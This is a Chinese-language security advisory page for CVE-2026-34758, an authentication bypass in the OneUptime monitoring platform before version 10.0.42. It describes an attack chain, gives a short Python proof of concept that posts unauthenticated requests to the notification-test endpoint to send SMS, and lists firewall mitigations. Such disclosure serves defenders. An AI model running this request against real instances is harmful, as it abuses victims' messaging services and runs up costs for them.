IPBUF安全漏洞报告
English
CVE-2026-34758 CVSS 9.1 严重

CVE-2026-34758 OneUptime未授权访问漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34758
漏洞类型
权限绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

权限绕过未授权访问OneUptimeAPI安全

漏洞概述

OneUptime是一款开源监控平台。在10.0.42版之前,攻击者无需身份认证即可访问通知测试及电话号码管理接口。这导致短信、电话、邮件和WhatsApp服务被滥用,甚至可非法购买电话号码,造成重大经济损失及资源耗尽。

技术细节

该漏洞核心在于OneUptime 10.0.42之前版本中,关键业务API端点(如通知测试与电话号码管理)存在访问控制缺陷。攻击者无需任何身份认证即可通过网络向这些端点发起恶意请求。由于系统缺失对请求来源的合法性校验(PR:N),攻击者可滥用平台的通知服务,包括但不限于发送垃圾短信、拨打骚扰电话、发送钓鱼邮件及WhatsApp消息。此外,攻击者还可能利用该漏洞绕过支付逻辑非法购买电话号码,导致受害者面临巨额经济损失。该漏洞利用门槛低且无需用户交互,危害极高。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的OneUptime实例,并确认其版本低于10.0.42。
STEP 2
漏洞探测
攻击者向通知测试或电话号码管理API端点发送未携带认证信息的HTTP请求。
STEP 3
漏洞利用
由于系统未校验权限,攻击者成功调用接口,向指定目标发送短信、邮件或购买电话号码。
STEP 4
造成影响
攻击者滥用平台资源进行垃圾信息轰炸或导致受害者产生高额通信费用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-instance.com/api/v1/notification/test" # Payload data for abuse payload = { "type": "sms", "phoneNumber": "+1234567890", "message": "Security Alert: Unauthorized Access Test" } try: # Send request without authentication headers response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or endpoint patched.") print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

OneUptime < 10.0.42

防御指南

临时缓解措施
在未完成升级前,建议通过防火墙或WAF拦截对/notification/test和/phone-number-management相关路径的未授权外部请求,并监控异常的通信流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表